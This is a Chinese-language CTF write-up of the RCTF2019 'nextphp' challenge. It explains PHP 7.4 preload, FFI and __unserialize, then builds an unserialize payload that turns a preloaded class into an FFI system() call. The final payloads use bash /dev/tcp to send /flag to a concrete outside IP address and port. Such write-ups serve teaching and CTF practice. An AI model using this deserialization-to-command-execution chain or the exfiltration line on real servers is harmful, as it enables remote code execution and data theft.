CTF Web安全

[RCTF2019]nextphp( FFI/Serializable 的 __serialize 和 __unserialize )

Posted on 2020-01-18,6 min read

index.php

<?php
if (isset($_GET['a'])) {
        eval($_GET['a']);
} else {
        show_source(__FILE__);
}

phpinfo先看一下,php7.4-dev和大多数题一样。都是限制目录和函数。


首先就是想到用scandir去找flag,由于限制了目录。用payload绕过。but这里ini_set函数被禁用了。只能换个payload

用glob协议找到flag,但是也只能看目录。不能读取

但是。我们通过查看当前目录。发现还有个preload.php,读取

不知道这个文件干啥。看writeup。又是新知识
opcache.preload是PHP7.4中新加入的功能。此配置项定义的文件。会在服务器启动时将PHP脚本预加载。里面定义的类什么的。对所有请求都可用

这里。它就将preload.php预加载了。

继续看。FFI(危险扩展)只允许在预加载的PHP文件中执行。常规文件中不允许
看下FFI是个啥。好像是个PHP里面写C代码

搭建环境

apt install libsqlite3-dev libffi-dev bison re2c pkg-config
git clone https://github.com/php/php-src.git
cd php-src
git checkout PHP-7.4
./buildconf
./configure --prefix=$HOME/myphp --with-config-file-path=$HOME/myphp/lib --with-ffi --enable-opcache --enable-cli
make -j $(nproc) && make install
<?php
// 创建FFI对象,加载libc并导出函数printf()
$ffi = FFI::cdef(
    "int printf(const char *format, ...);", //常规的C声明
    "libc.so.6");
// 调用C printf()
$ffi->printf("Hello %s!\n", "world");


下面构造个system试试
函数申明

<?php
$ffi=FFI::cdef("int system(char *command);");
$ffi->system("whoami");
?>


那么这题应该是通过preload.php来执行FFI。

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

在A类中。只有run方法可以执行命令

   private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

如果将func变成ffi扩展。arg变成int system声明。那么this->data就成了一个带有system函数的FFI扩展。只要调用$this->data['ret']->system("whoami")就行了
再次寻找POP链。哪里能调用data
有两个点可以调用data。其他不是赋值。就是反序列化

第一个调用点

__serialize()函数
return $this->data
会返回包含ret,func,arg的数组。那么我们可以通过($this->data)['ret']这种方法。取出其中ret值->system("whoami");

第二个调用点:

__get()函数
return $this->data[$key];
这就不必说了。。很明显
$this->data['ret']->system("whoami");
就可以了

在PHP7.4中。序列化/反序列化时会触发__serialize/__unserialize 函数。
但是我们看代码中。又存在serialize/unserialize函数。Serializable::serialize是旧版本的序列化老接口,而__serialize是序列化新接口

如果一个类都实现了Serializable和__serialize()/ __ unserialize(),则序列化将首选新机制

https://www.php.net/manual/zh/serializable.serialize.php
https://wiki.php.net/rfc/custom_object_serialization
在执行反序列化的时候。会调用__unserialize,然后执行$this->run()方法。
将data['ret']变成一个FFI扩展

经过反序列化后。就成了一个object,然后我们直接调用__get('ret')->system('bash -c "cat /flag > /dev/tcp/IP/Port"');
相当于类A->__get方法
这里我们做个实验

<?php
class A{
	public $name;
	public function hello(){
		echo $this->name;
	}
	public function hello2(){
		echo $this->name.'2';
	}
}
$a=new A();
$a->name="123";
$a->hello();
echo "<br />";
echo serialize($a);
echo "<br />";
eval($_GET['a']);
?>

A类中有hello和hello2函数。我们通过反序列化执行hello2

完整payload

unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}}')->__get('ret')->system('bash -c "cat /flag > /dev/tcp/49.235.209.160/8080"');
unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";$a=s:3:"arg";s:32:"int system(const char *command);";}}}');$a->ret->system('bash -c "cat /flag > /dev/tcp/IP/Port"')

payload很多。原理都一样。构造反序列化。覆盖data数组。构造一个FFI扩展。然后通过函数/直接调用去调用扩展
这里我使用BUUCTF的环境。但仿佛。连不上外网

下一篇: SUCTF2019 EasyPHP→